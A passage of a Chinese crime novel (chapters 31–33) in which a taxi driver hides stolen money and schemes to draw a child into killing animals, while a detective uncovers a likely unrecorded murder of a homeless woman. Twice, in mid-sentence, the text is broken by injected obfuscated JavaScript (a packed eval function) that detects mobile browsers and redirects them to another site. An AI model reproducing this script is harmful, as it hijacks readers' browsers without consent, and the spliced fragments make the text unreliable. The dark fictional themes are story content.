蔡岛嘉回以一声没什么力度的冷哼。他回头看了眼身后的楼梯,然后探头往下又看了一眼,确认无人在附近后,他才谨慎地低声说道: “现在风头大,过段时间再分钱。说好给你的那一份不会少。” “行。”夏禧点了点头。 蔡岛嘉拿上工具箱,回到自建楼前院,朵朵还蹲在地上捡落叶。他把工具箱放到地上,心情颇好地问道: “你想做个什么样的楼梯?” 朵朵想了想,用手比划了一下:“光溜溜的,让它爬上去又掉下来!”她嘻嘻笑了。 “好。” 蔡岛嘉仰头张望了一下巨大的槐树,树干分岔的地方正好很矮,他一脚蹬了上去,扶着粗壮的树枝,折下一根粗细刚好的树枝,“嘿”地一声跳回地面。 他蹲在地上,把树枝搭在工具箱上量长度,用小刀一节节切断,又把毛刺逐一削平。朵朵负责递胶带,捧得很认真。两人把这些短枝紧密地贴在两条细木条上,做成一座光滑的滚梯。朵朵一边看一边笑:“它要是从这里滚下来,肯定超好玩。” “我以前也给自己的宠物做过玩具。”蔡岛嘉说,“不过,都是一些比较特殊的‘玩具’。” 他又想起了那只叫贝贝的兔子,他的第一个宠物,他杀的第一个生物。 “小蔡哥哥,你这么能干,有没有女朋友啊?”朵朵歪着头问他,眼里全是崇拜。 蔡岛嘉脸上那股因回忆产生的“温情”瞬间被一种复杂的厌恶取代。 “现在的女孩,没有钱谁愿意做你的女朋友啊?” “可是你会做小别墅,会做梯子,还会开车,又不像那些大人一样无趣。”朵朵列举着他的优点。 这算“优点”吗?蔡岛嘉的内心产生了怀疑,但无论如何,被夸肯定是让人心情愉悦的。 “要是所有女孩都像你一样想就好了,朵朵。她们太蠢了,眼里只能看见香奈儿和爱马仕,看不见一个男人真正有价值的地方应该是勇气。”蔡岛嘉说到这里,挺了挺胸膛,“很多有钱的男人,见到路上一起车祸,能恶心几天。那算什么男人?也只有那些蠢女人才会喜欢这样的废物。” “撞死人有什么好怕的,我也不怕。”朵朵笑嘻嘻地说,“他们胆子真小。” “谁说不是呢?”蔡岛嘉给梯子最后打磨了一遍,“你以后可不要成为这种肤浅的拜金女人啊,朵朵。你有很大的潜力。” 他的手忽然一顿,一个念头升入他的脑海。 既然朵朵可以用钱来作为把柄要挟他,他为什么不能抓住朵朵的把柄,反过来挟制她呢?如果没有把柄,那制造一个,或者好几个,不就行了? 让她变成和自己一样的人,让她变成也害怕警察的人。就再也没有人可以威胁到他的秘密—— “朵朵,”他压低声音,神秘兮兮地说,“上次哥哥和你玩的游戏,你还想再玩吗?” “什么游戏?”朵朵好奇问道。 “就是那个。”他做了一个“刺”的手势,刺的方向,正好是上次橘猫停留的地方。 “哦——”朵朵发出恍然大悟的声音,她刚要回话,忽然出现在门口的徐朝颜打断了她。 “朵朵!你又在大门口干什么?说了以后只能在我们看得见的地方玩,这么快你就忘了?”徐朝颜神色紧绷,一看就是还停留在绑架的后怕中。 “……知道了。” 朵朵不服气地撇了撇嘴,拿起滚梯朝入户大门走去。 徐朝颜紧紧握着她的肩膀,消失在客厅深处。 今天的晚餐桌上,只有几碗红薯稀饭,一碟榨菜。蔡岛嘉用眼神扫了一遍,自己那碗稀饭最稀,稀得像是煮饭的水,而不是煮出的饭。 但他没有抱怨,他吃得比之前任何一次都要心甘情愿。因为他知道,何家消失的餐费正在他的后备箱里。 那还抱怨什么? 他唏哩呼噜地喝完这碗稀饭,在其他人还在沉默地就着咸菜的时候,先一步回到了三楼自己的房间。 用什么东西能引诱朵朵成为“和他一样的人”?对象只是猫狗还是太轻了。但如今流浪汉也不好找了,尤其是奥运会期间,路上别说流浪汉了,连垃圾都见不着一个。 他倚在窗边,看着停在楼下的黄色出租车,目光集中在载有他后半生全部希望的后备箱上。屋子里的灯光忽然闪了一下,他疑惑地抬头,又闪了一下。天花板正中央的那枚顶灯,完全消失了光芒。 蔡岛嘉站到灯罩下方抬头查看,中间的灯泡钨丝泛黄,不知是什么年代的产物了,能坚持到今天才坏,也不容易。 他推开房门,走出冷气充足的房间,回到热气腾腾的公共区域。他在一楼找到何阿公,询问家里是否有新的灯泡。 “灯泡烧了?哎哟,老房子常有的事。家里都备着呢,我给你拿。” 何阿公打开电视机下方的抽屉,很快就找到了一枚还没开封的新灯泡递给他。 “人字梯在哪儿呢?”蔡岛嘉差点脱口而出“上次不就放在三楼客厅吗”,他还用那个人字梯检查了吊顶,被朵朵逮个正着。 “啊,在杂物间呢。我带你去。”何阿公说。 所谓的杂物间,就是楼梯下方的狭窄区域。何阿婆在那里堆满了纸壳、饮料瓶、可能会用上但实际上只是留着吃灰的旧家具,何阿公从里面艰难地拖出人字梯。 “谢谢,我自己拿上去就行了。”蔡岛嘉接过人字梯,抱着上了三楼。 就这么一小会的工夫,他的衬衫已经被汗打湿。他一边在心中抱怨今年的酷热,一边将人字梯放到烧掉的灯泡下方,踩着梯子蹬了上去。 剥掉新灯泡的包装盒,他正要动手拧下旧灯泡,视线忽然在灯罩下方一个黄豆大小的印记上凝住了。 四周布满灰尘,只有这黄豆大小的一块地方,干净得像是专门擦过。 这是什么? 他皱起眉,靠近灯罩,正要仔细端详,门外传来了何序的脚步声,他停在门外,淡然道: “我爸说你屋里的灯坏了,让我来看看。需要帮忙吗?” “哦,马上就换好了,不用!”蔡岛嘉下意识喊道。 他不再迟疑,拆下旧的灯泡,迅速换上了新的。他爬下人字梯,来到门前,开门后,何序还在门外。他们尴尬地打了个照面,蔡岛嘉心虚地按下了墙上的点灯开关,顶灯霎时亮了起来。 “爸说能在困难时刻伸手的都是家人,让我多照顾你。”何序的目光从灯罩上移开,“那一万块,我们会想办法尽快还你。” “不用,你们手头宽裕了再还也行。反正就一万块。”蔡岛嘉干笑道。 何序点了点头,转身离开了门前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741836|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 第二天一早,自建楼里静静悄悄,何阿婆似乎还在为一百六十万心痛,即使朵朵回来了,也没有再呼朋唤友跳那广场舞。但蔡岛嘉却罕见地在没有噪音污染的情况下,起了个大早,第一个坐在早餐桌前。 早餐还是红薯稀饭配榨菜,何阿婆路过厨房,看见他正在打饭,讽刺道: “哟,太阳怕是要打倒了噻,有些猪儿虫竟然还有这么早起床的一天。” 蔡岛嘉笑了笑,没理会她怒气冲冲的嘲讽。 “没办法,好多天没出车了,要去上班挣饭钱啊。”他说。 吃完早餐,他来到前院,坐上黄色出租车,驶出了大院。八里村的空气永远那么闷热,永远有一股不知何处传来的下水道臭味,蔡岛嘉把车开出自建楼,潮湿的笑意随即沉了下去。 黄色出租车像水一样汇入车海,蔡岛嘉焦躁地等待前方红灯变绿,手指不耐烦地敲击着方向盘,被他按下的计价表已经许久都没有抬起来过了。一辆老旧的巡逻车从对面驶来,与他擦身而过。 戚迪坐在车上,刚打完一个电话,他一边连连道谢,一边调转方向,一脚油门开向城市边缘。 周围的建筑越来越矮,广告牌从“手机分期”“喜迎奥运”换成了“回收废铁”“砂石运输”。路面也跟着变了,沥青变成水泥路,坑洼一片,车轮一颠一颠,像在提醒他已经离开了“江都”这两个字好看的部分。 再往前,是大片空下来的地——没盖完的厂房骨架,杂草长到半人高的荒地,一条发黄的小河贴在土坡边打着弯,河面上飘着塑料袋,太阳一晒,味道发闷。 省二监从很远的地方就能看到。 先入眼的是那堵墙:一整圈水泥围墙,比两层小楼还高,墙顶一圈盘着银白色的铁刺线,太阳一照,冷光一节节闪,像鱼鳞。墙身没有一点装饰,全是死板的浅灰。 墙角有岗楼,水泥方盒子,四面是窄窗,窗框里挂着防弹玻璃,玻璃反光,看不清里面的人。离得近了,能看到岗楼外沿装着探照灯,日头正硬,也没开,可就是那种灯,让人本能想把身体缩小一些。 正门在一段内凹的墙面上,修得像机关单位的大门,但里面的待遇却与机关截然不同。厚重的深绿色卷闸式钢门合得死死的,只留中间一扇小门供人出入。小门上头钉着一块蓝底白字的牌子,写着它的大名——但人们还是更常称呼它为“省二监”,或者“城北监狱”。 门口的地带画着一片黄色斜线禁停区,线被来回碾得发白,中间只站着一个穿深色制服的武警,他没有动,只有目光随着每一辆靠近的车挪一下。 戚迪把速度放慢,在武警靠近的时候,出示了自己的证件,告知了来意。对方打了个内部电话,确认无误后,点头放行。 他今天是来看田永的。 在看完了所有案件相关的资料后,他决定亲自来见一见当事人。当然,其中又少不了梁芸的帮忙。 事成之后,他一定要请她吃宵夜。他再次想到。 车开进内院之后,空气中的低气压更明显了。外头还有蝉、还有工地里钢筋碰撞的“当啷”声,但水泥围墙里几乎什么都没有,只剩安静。那不是自然的安静,是被整理过、筛过的安静。水泥地刷得发白,边角没有一片落叶,没有一根烟头,只有几条画得笔直的停车线,还有地面上褪色的箭头。箭头其实已经掉漆,显出下面粗糙的灰,但看得出来,还是反复被人拿拖把刷过。 戚迪把车停在划定的访客车位。刚踩地,热气就从水泥地面往上反,像有人把吹风机开在脚踝上。他本能想摸烟,但兜里只有一把薄荷糖,他的手指缩了回来,在腰带上蹭了蹭,好像一开始就是想要调整腰带似的。 接待他的是一个值班狱警,三十多岁,不多话,态度也不算热情,只是公式地确认了一遍身份证件、工作证、来访事由,又低头在一本磨得起毛的登记本上抄了几行字。登记本用的黑色圆珠笔,前几页的字迹已经透印到下一页,像常年都在重复这一套。 “手机关机,放这里。”狱警指了指一面铁柜墙,“打火机也要放。” “不抽烟。”戚迪把手机扔进其中一个开着的空柜子,接过狱警递来的钥匙,亲自锁上。 他们往里走。 从外院到会见区,中间是两道门。第一道是防盗门,黄到发旧的漆面有明显的污痕,都是人推门留下的;第二道是重的金属门,门边焊了合页和厚锁舌,开关的时候会带出一点低沉的震动,像在地下室开卷闸。 进门后是一条狭长的走廊,走廊的顶灯是日光管,冷白色,死亮,没有一处阴影,照得人皮肤颜色立刻变得发灰。 走廊尽头是一间会见室。 狱警推开门的时候,说:“十五分钟。” 戚迪点头。 会见室不大,比派出所的普通询问室还小半圈,长方形。房间被一道半身高的金属栏杆硬生生分成两半,栏杆上焊了透明的厚有机玻璃板,玻璃已经被抹得起了细雾状的划痕,正对的位置开着一块巴掌大小的镂空,方便说话。 栏杆这边是两把固定在地上的金属椅,腿上直接打了膨胀螺丝;对面是一张同样焊死的金属长凳,靠墙,墙上有一个不起眼的小黑头摄像机,已经准备好记录这场会面。 田永坐在那张长凳的正中。 他与戚迪常日里接触的那种流氓地痞完全不同,他的身上没有纹身,没有剃得能看见头皮的寸头,也没有凶狠的表情。这个五十二岁的男人鬓角全是灰白,他的脸型本来应该是饱满的,五官很大气,但现在肉垮了下去,尤其是下颌线的位置,被岁数和疲惫往下拽出一圈松的皮。他没有胡子渣,但法令纹、鼻翼两侧那些刻出来的折痕,都比他这个年龄该有的深。 他的背微微弓着,浑然看不出从前在本地财经报纸上指点江山的气势。 听闻开门的声音,他抬起头,眼神非常快地扫了戚迪一眼,带着一丝畏惧。他的眼皮带着浮肿,精神气已经被监狱生活完全抽走了。 “戚警官?”他说。 声音有一点哑,像喉咙里有一层沙子。 戚迪在栏杆这边坐下,椅子是金属的,屁股刚一靠上去就觉得凉。他往前倾了一点,身子微微往前压,让脸离那块小小的开口更近一些。 “田永。”他说,“我们聊一会儿。” 32.第 32 章 “聊什么?我该交代的都交代了……”田永声音沙哑。 眼睛是心灵的窗户,戚迪认为这话大体没错,他办案时,也总喜欢盯着嫌疑人的眼睛。大多数人都知道,眼神躲闪时,说明心里有鬼,但他们不知道,当对方直愣愣地死盯着你时,也是一种心虚。 他们害怕谎言被戳破,害怕“窗户”泄露自己的秘密,所以不必要地死盯着对方的眼睛。 田永就是后面这一种。 “你很聪明,聪明到在办案人员的眼皮子底下,还藏起了一笔钱。”戚迪缓缓说道。 “……你在胡说什么?我根本听不懂你在说什么,你不是经侦人员吧?有问题找他们去,我无可奉告——”田永脸上闪过一丝恼怒,沉着脸站起身来。 “八里村,三巷6号。” 戚迪报出自建楼的门牌号,田永像是被雷击一样,猛地停下了脚步。他没有回头,这已经是他全部的克制。 “你还要走吗?”戚迪看着他的背影。 半晌的死寂后,田永慢慢转过身来,脸色灰白地看着后玻璃外的戚迪。 “我的确不是经侦的人员,但谁说了,只有经侦的人,才有资格调查你的案件?”戚迪说,“我们警方在调查一起民事纠纷的时候,发现了那栋楼里的秘密。你知道我们是怎么发现的吗?” 田永咬住嘴唇,似乎这样就能吞下到了嘴边的疑问。 “曾经给你干事的人出卖了你。他想偷偷带着你的钱跑路,只让你承受牢狱之灾。这个人是谁,你心里应该有数吧?” “……我不知道你在说什么。” “这种气你也能受?好歹也是曾经的田总,你就能眼睁睁地看着手下背叛你,带着你的钱吃香喝辣,把你一个人留在——”戚迪的目光扫过光秃秃的墙面,“这里?” “够了,我要结束会面——” “你如果保持沉默,只会让别人受益,但你如果老实交代,就有将功赎罪,获取减刑的可能——实话告诉你,你的这个手下,手里还有其他案子,你如果能帮助我们侦破这起案件,也算大功一件。” 田永转头看向他,刚刚还攥紧的拳头松开了,手指在裤缝边震颤。 “什——什么案子?” 戚迪敏锐地察觉到,他此刻的神情,不同于之前的“慌乱”,而是进阶成了“惊恐”。 “你说什么案子呢?”他反问。 “我不知道——好了,我不舒服,我要回去了!”他对身后的狱警喊道。 狱警走到田永身边,护着他往后面的小门走去。戚迪贴上玻璃,朝着那个小窗奋力喊道:“田永!你不是不想说,而是不敢说?你自己想想,这是你唯一可以减刑的机会了!等我们破了案,那就迟了!” 田永的背影颤抖着逃走了。 他在害怕。怕什么?他都无期徒刑了,还能怕什么? 怕死刑。 还有什么是会被判死刑的? 一道冷光划过戚迪的脑海,让他的四肢百骸都随之战栗。 “会面结束了。”他身后的狱警平静地说道。 他忘记了自己是怎么走出的省二监,又是怎么坐上了巡逻车。 戚迪下意识把车窗摇到只剩一条缝,让温热的空气涌进车厢。他的手指还紧紧扣在方向盘上,喉咙里那股冷意没散,像刚吞了一小片坚硬的冰。他瞥了一眼后视镜,自己的脸色都有些发白。 他从兜里掏出一枚薄荷糖,剥去糖纸塞进嘴里,薄荷的清凉驱散了脑子里嗡嗡作响的回声,接着一脚油门,把车往新的目的地开去。 田永入狱前就职的江都市城市建设投资有限公司坐落在城区北面,整块地被围成独立的小院,正门立着两根镀成金铜色的假大理石门柱,柱腰上还包着镜面不锈钢,阳光一打,晃得人睁不开眼。院子里是规整的花坛,间隔插着几块印字的石头,“为城市添光彩”之类的口号用隶书刻上去,漆成大红。 停车区一堆黑色或银色的别克君威、公务版帕萨特,甚至还有两台刚洗完的皇冠,车头齐刷刷朝向办公楼,像在立正。戚迪把所里快要散架的巡逻车停在它们中间,大步走入大楼。 走廊的地砖是大块浅米色抛光砖,亮得能当镜子,戚迪快步走过墙上的彩色宣传板,目光从上面短暂掠过:某领导剪彩,某项目封顶,某路段提前完工,附有“以精品工程回报江都市民”“打造城北新区新名片”等宣传。 工程部的门虚掩着,里面烟味很重。 “你好。”戚迪敲了两下门框。 屋里只有一个年轻男人,三十出头,但眼角皱纹很重,穿着短袖衬衫,领口解着一颗扣子,袖口卷到肘上,露出一截晒得很深的手臂。他的头发往后抹了发胶,后脖颈那块晒得格外黑。桌面上摊着几份施工进度表,角落压着一个塑料烟灰缸,烟灰堆得像小山。 “你是?”那人下意识问道。 “警察。”戚迪没绕弯,一屁股在他身旁的空椅子上坐下,掏出证件晃了一下,“我想了解一下田永当年在你们单位的一些情况。你是工程部经理?” “我姓梁,”那人点点头,表情中露出了一点警惕,“田永的事儿不是早就结案了吗?” “结案了就不能有新发现?”他反问。 男人没说话,似乎看出了戚迪不是那种害怕投诉,好打发的警察。 “田永在的时候,你是什么职位?和他关系好吗?”戚迪问。 “我那时候还只是一个小小的工程员,他那种级别的领导,我怎么接触得上?平时里遇见,大不了我单方面点点头。所以你要问的,我真不清楚。” “我都还没说我要问什么,你就不清楚了?” 梁经理又被噎了一下。 “他在职的时候,有没有什么让你觉得奇怪的事情发生?什么都行。” 梁经理终于松开了那几章施工进度表,把后背靠上椅子,不情愿地转动眼珠,回忆起来。 “也没什么特殊的吧,就是那段时间,商务宴请特别多……我可没参加啊,轮不到我,我是听行政部的人说的。她们每天就是买酒定餐都忙得团团转。” “你继续说,还有呢?” 男人绞尽脑汁说了一些他还记得的,但都不是戚迪认为有价值的。当男人说完“田总有一年换了三辆车”时,他不耐烦地打断他的话,“谁都知道他贪污了一千万,一年换几个车有什么奇怪的?我问的是,有没有发生奇怪的事。” “能有什么奇怪的事啊,我都——啊,我想起来了。”男人神情一振,“不过我不知道这算不算奇怪的事。大概是04年的时候吧,我们有一个项目卡在拆迁上,卡了很久。本来那块地上是成片的违建棚子,按理说清理掉就完了,结果有个不知哪儿来的疯女人,就赖在现场中央,死都不肯挪。推土机都到了,她就抱着一堆破被子往那一坐,十几个人拉不动。谁靠近她就咬谁,警察一来,她就跑,过上几天,她又钻了回来,就赖着不走!” “为了这事儿,我们公司上上下下去了许多人,都没招。我们私底下还说,要是拖到年底,公司的损失可能会上亿,我们的年终奖搞不好也要泡汤。谁知道呢,这事儿最后被田总——田永摆平了。” “这个女人叫什么名字?”戚迪追问。 “不知道。”梁经理的笑容有点敷衍:“精神不太正常的一个女的,三十多还是四十多,说不准。我们那时候就叫她‘疯女人’。听说是捡破烂的,也有人说是从别的工地赶过来的,问她话也答不出来。” “她长什么样你还记得吗?” 梁经理努力想了想,但看得出来,他正面对一片空白。 “个子不高不矮,很瘦,手臂像树枝一样,但力气可不小。你推她,她就咬你。你手一伸过去,她哗啦一下就扑上来。我们那边几个小工都被她抓破过手背。她好像无家可归,身上臭得不行,衣服也像是从来没洗过,头发更是打结成一坨,脸上黑乎乎的,我就是想看清她长什么样,也很难看清。” “田永是怎么‘摆平’的?”戚迪问。 “好像是那女的收了田永一笔钱,然后就再也没来过了。这些钉子户,不就是想要钱吗?” “‘好像’?”戚迪尖锐地说,“你不能确定?” “我也是听说的。”梁经理讪讪道,“除了钱,还能怎么摆平?要不你问问王经理吧,他那个时候就在当时的项目里,他应该更清楚。” 戚迪要了这位还在工地上的“王经理”的电话,没有电话直接沟通,而是用电话确定了会面地址,然后开车过去。 在嘈杂的工地上,王经理把他带到一个临时搭建起来的工程部,戚迪拒绝了他倒茶的举动,直接问起了04年的事情。 “那个疯女人?我记得,记得。” 王经理一脸和气,似乎因为从未接触过警察而怀着好奇,显得格外配合。 “她确实是个无家可归的流浪汉,平时吃住都在那片地上,以前还是棚屋时,倒没人管她。但后来项目开工了,闲杂人员肯定是要清场的。我们曾经去和她沟通,想请她离开,但她脑子有问题,根本无法交流。而且有暴力倾向,我们不敢刺激她,报警倒是管用,但也就管一时,她看见警车和穿制服的就跑,跑了过两天又回来。” “我们曾经有人把她的东西都扔掉——也不是说扔吧,”王经理找补道,“就是把她的那些破棉絮,脏衣服给挪了个地,搬到项目外面去了。人家可好,捡了回去,过一晚又搬回来。我们就算派人盯着她,也不是长久的事,这工程争分夺秒啊——” “后来你们是怎么解决的?”戚迪打断他。 “田永给了那女的一笔钱,让她离开了。” “你确定吗?” “我确定啊。”王经理笃定地说,“隔天田永自己说的,说是给她在老家安排了一个保洁的工作,给了她路费,让他的司机送她回老家去了。” “司机?蔡岛嘉吗?” “对啊,就是他。” 一个惊人的猜测像闪电从戚迪的脑子里擦过,擦着后颈皮肤,带起一阵麻痹。 所有线索都重叠到了一起,现在只差一条线,把它们完全串联起来。这条线就是证据链。 “你知道这个女人的老家在哪儿吗?” 王经理摊了摊手:“田永没说。反正我们也不问嘛。能干就行,工期压得死人,谁有空去管一个捡破烂的流□□?对吧。” “我想听细一点,”戚迪说,“她卡的是哪一段工期,具体位置在哪,停了多久?” 王经理愣了愣。他原本以为警察只是来走个过场,问问“有没有受贿啊”“有没有账外的钱啊”这类问题。没想到问得这么细,细得像要重走一遍现场。他下意识地抹了一把脸,仔细思索起来:“你等我一下。” 他从办公桌靠墙的文件柜里翻出一个旧档案袋。档案袋的牛皮纸边已经发软,封口处用过的回形针把纸磨出了一道光亮的折痕。他在里面翻拉一通,抽出一张褪色的现场平面图,指着其中一个用红笔圈起来的小方块:“就在这儿。当时这块地准备用来打桩做商住楼的基础。我们原定三月底完成清场,她一闹,直接拖到八月份,上面的人下来督查了好几次,骂得很难听,问我们是不是吃干饭的。” “你们那时候怎么处理她?”戚迪重复。 “还能怎么处理?先劝,劝没用就吓……有个年轻的还动手推过她,结果被她反手抓了一把,整条胳膊一道血口子。我们也考虑过给钱,那时候拆违建有时候也会私底下塞点钱打发人嘛,就说给你几百块,给你找个旅社住几天,她死活不要,说她‘有家’。她还拿砖头垒了个小矮墙,跟狗窝似的,非说那是她的地方,谁也别碰。” “她的‘家’在哪儿?”戚迪问。 “就在桩点正中间啊。”梁经理苦笑,“她就占着那个正中心,四块水泥板拖了几张破木门,搭得像地堡。她人钻里面,谁靠近就拿粪扔谁——她专门有几个桶,装的全是公厕偷来的大便,这谁敢惹她?只能派推土机了。但推土机一开过去,她就往轮子下面扑。司机吓得不敢往前动,怕碾死她。趁警察来了,她逃走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748987|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,我们好歹把那个地方给推平了,但人家能屈能伸,抱着破被子就在原地睡上了。” 戚迪低声道:“推土机来了也不怕的人,被田永‘摆平’了。” “对。”梁经理没察觉他的言下之意,点头附和,“我们早上到现场开工,她已经不在那了。我们那时候还在底下议论,不知道她宰了田永多大一笔呢。” “有没有人知道她叫什么?”戚迪不死心地又问了一遍。 王经理噗地笑了一声,又马上板起脸,像是觉得这时候笑不太合适: “她没跟我们说过名字啊。你喊她什么,她都不理,除非你喊‘喂’。喊‘喂’,她会探个头出来骂一顿,说‘滚’,然后继续蹲着。我们那边就都叫她‘喂’。有时候也开口叫‘疯女人’,但叫‘疯女人’的时候,她是不会搭理你的。” “她几岁左右?大概长什么样?”戚迪继续问。 梁经理皱着眉头回忆:“岁数……不好说。她那张脸,不知涂了什么,黑漆漆的,是那种看上去可以是三十五,也可以是四十五的样子,穿一套男式的旧军绿棉服,夏天也穿在身上,一股馊味。身高很普通,大概一米六吧。” “她有没有什么明显特征?比如手指有没有少一节,脸上有没有疤,走路是不是有瘸?”戚迪问。 王经理被这一连串具体的问题压得心生不安:“你这……是出什么事了啊?警察同志,我就问一下,是不是她犯什么案子?我们顶多就是骂她、吓她,可没真打过她。要我说,我们被她伤得可重多了,当时被抓伤那小伙子,胳膊上缝了几十针呢!” 戚迪没有回答问题,只道:“这些我得一一核实。还有别的人能对上当时的情况吗?工地具体负责人、包工头、现场安全员,谁都行。最好是当时亲眼见过她的人。” 梁经理被他盯得心里发毛,但还是翻了翻他那摞电话簿似的记事本,指了三个名字:“这个老刘,当时是现场安全。这个小张,测量的。还有陈总,实际是包工头,但我们对外叫他‘外协项目经理’。他们都参与过。” “我需要见他们。” “现在?”梁经理抬腕看表,“老刘在本部,楼下机修间抽烟。小张不一定,上线去了,不过我能打电话叫他回来。陈总自己开了个小公司,工地在北郊那边,我可以给你他电话。” “先把能找到的叫上来。”戚迪说,“我等着。” 老刘本人像是从工地直接挪上来的:皮肤黑得发亮,安全帽是随手拎在手里而不是戴在头上的,汗味混着烟味扑在一块。他一听“04年那个女疯子”,当场翻了个白眼:“那个疯婆子啊?哎哟,她给我留的疤现在都还在呢。” 他把手臂伸出来,指着靠近手腕的一条细长旧痕:“你看,都是她抓出来的。我们那时候真拿她没辙。她哪是什么钉子户啊?钉子户好歹有个房本、有个户口,她连身份都没有。她那就是在那片地上扎了个窝,就跟蛇占地盘似的,你一动她窝,她就发疯。” 戚迪又问了几个问题,老刘说的和王经理差不多,没有什么新鲜情报。其他两人也陆续赶到,他运气很好,他们一个就在附近,一个正闲着,乐意来凑凑热闹。 但问来问去,得到的情报都和之前的差不多。 “……你们怎么都赶不走的人,田永一来,然后她就消失了。”戚迪低声总结。 “对。”老刘点了一根烟,叼在嘴角,“一夜之间,人没了。我们都不相信。问田总,田总说他解决了,送她回老家了。我们还能说啥?赶工期呀兄弟。桩机在那儿干等着,等一天就是几千块。没人有心思追这个。” 戚迪脑子里闪过几个画面,像一格一格老旧监控画面往回倒带:水泥地上用几块木板围起来的“堡垒”,里面放着脏兮兮的旧军绿棉服,即是衣服,也是被褥;一个蓬头垢面的女人不要命地挡在推土机前;再然后,她就消失无踪了。 没人问她是谁。没人问她去哪儿。 他突然意识到,从头到尾,“她”只以“阻碍工程进度的麻烦”,连作为“人”的资格都没有被承认过。没有登记,没有姓名,没有“家属”,她只是“喂”,只是“疯女人”。 这意味着什么? 意味着她消失以后,没有任何人会去找她。 意味着,哪怕她死了,那也是“一个没有名字的流浪汉不见了”,永远不会有立案,自然永远不会有调查。 在这一瞬间,冷汗从戚迪后背一股一股地冒上来,细细地黏住了他的脊梁。他明白了田永为什么怕到发抖。 ——那不是贪腐,那是命案。 一桩很可能没被立过案的命案。 而“命案”这两个字,一旦成立,就会直接把刑期猛地推进。田永一开始被判死缓,因狱中表现良好,变成无期,但一旦沾上命案—— 死刑。 “警察同志,”王经理迟疑着说,“我们……我们现在是要配合调查什么?会不会牵扯上我们?” 其余三人也目光灼灼地看着戚迪,眼中闪着八卦的光芒。对他们来说,这关系的不是一条活生生的性命消失了,而是忽然冒出来的八卦消息,茶余饭后的谈资。他们睁大眼睛,生怕错过一个字的消息。 “我只是来了解情况。”戚迪的声音很稳,但他的内心像是有火在烧,“我还需要你们提供一份当年的项目资料副本,包括工地夜间值守记录、出入车辆登记、甲方乙方往来单、以及当时现场施工日志。哪怕是复印件、手写稿也行。尤其是她消失的那一晚,前后两天。你们还记得她失踪那天的具体日期吗?” “具体时间不太记得了……反正是八月。”王经理下意识地挠了挠后颈,紧张得喉结上下滑,“至于这个项目副本资料……太早了,很可能已经不在了,我得好好找找。” “没关系。”戚迪说,“我有时间。” 他说谎了。 他现在最缺的就是时间,所长昨天才和他说过,所里推荐的名额,最迟十号就要定下来了。 他只剩下五天时间,来决定他母亲的生死。 33.第 33 章 戚迪本想留在工地上,督促王经理尽快给他找到当年的项目资料,但医院的一通电话,让他不得不马不停蹄地赶往医院。 江都市人民医院的空气中永远飘散着不散的消毒水气味,戚迪站在缴费台前,局促地掏出自己唯一的一张银行卡。 缴费台的工作人员接过他的卡划拉了一下,冷淡地说:“输密码。” 他在数字键盘上一个字一个字地按下密码,脑子里有一个声音不断重复:“够吗?”、“够吗?” 如果不够怎么办? 这已经是他刚领的全部工资和卖了旧电脑的全部钱了。如果还不够,他该怎么办? 仿佛是上天听见了他的乞求,输完密码后,工作人员神色如常地继续操作,并没有用那张事不关己的冷漠面孔让他换一张卡。 带着缴费单回到医生办公室,穿着白大褂的主治医生看了一眼,将单子放到桌上。 “行,既然之前的欠费都缴清了,你母亲下一步的治疗今天就能安排上。下次记得按时缴费。” 戚迪从喉咙里含糊地应了一声。 他推开医生办公室的门,走到门外。冷气把走廊吹成一条没有体温的河,消毒水的味道浮在上面,不急不缓。病床像临时停靠的小船,一张接一张,陪护在床尾打盹,点滴在灯下滴落,像极细的雨。有人低声说话,有人把外套搭在脚面上。护士推着小车从他身边擦过,戚迪把单子往口袋里塞了塞,站在这片人声里,像站在一堵白墙前,没人看他,他也不想看谁。 钱。蔡岛嘉。升职。钱。田永。升职。钱。流□□。时间。 钱,母亲,时间。 他的目光飘向紧闭的玻璃窗外,树冠几乎把整块窗格塞满,绿得发亮,像抹了一层油。风一过,叶面成片起伏,阳光从叶隙里滴下来,像一串串亮珠。几只麻雀从枝梢掠过。笼子里的他在玻璃上映出一层淡影。 停下来哭泣是小孩才做的事情,他是大人了,只能埋头前进。无论前方是石墙还是悬崖,只要血没流干,只要身体还能动弹,他就必须往前爬。 他深吸一口气,转身走回母亲的病房。 四人间病房里飘散着午餐时未尽的食物气味,仅仅是气味,算不上香气。四张病床上有三张都有家属或者职业看护守护,只有一张床前是空的。 他走向那张孤零零的床。 母亲靠坐在铁床上,已经脱落了大半的头发虽然稀疏,但仍被她仔细地梳理服帖,柔顺地垂在胸前。她没有注意到他的到来,她的目光正专注地望着窗外,一只褐色的,胖嘟嘟的麻雀,正在纤细的枝头跳跃。母亲看着随处可见的麻雀,看入了迷,就像回到了十几岁的时候。 “妈。”他走到床边,拉过一条椅子坐下。 “迪子,你怎么来了?”母亲这才发现他的到来,布满皱纹的眼中露出惊喜。 “来医院缴费,再看看你。”他说,“陈姐上厕所去了?” 母亲脸上的笑容僵了一下,但她很快就掩饰过去了。她用一种刻意轻快的语气说道:“她辞职了,我也觉得自己能行,用不上她。” “什么?她辞职了怎么不……” 戚迪想说她辞职怎么也不跟他说一声,但他的话卡在半路,想起陪护两天前就在电话里警告过他:“不行,你每次都是拖欠工资好久才发,这次你要先预付。你不付我就不干了。” 他以为那只是一通说说而已的示威。 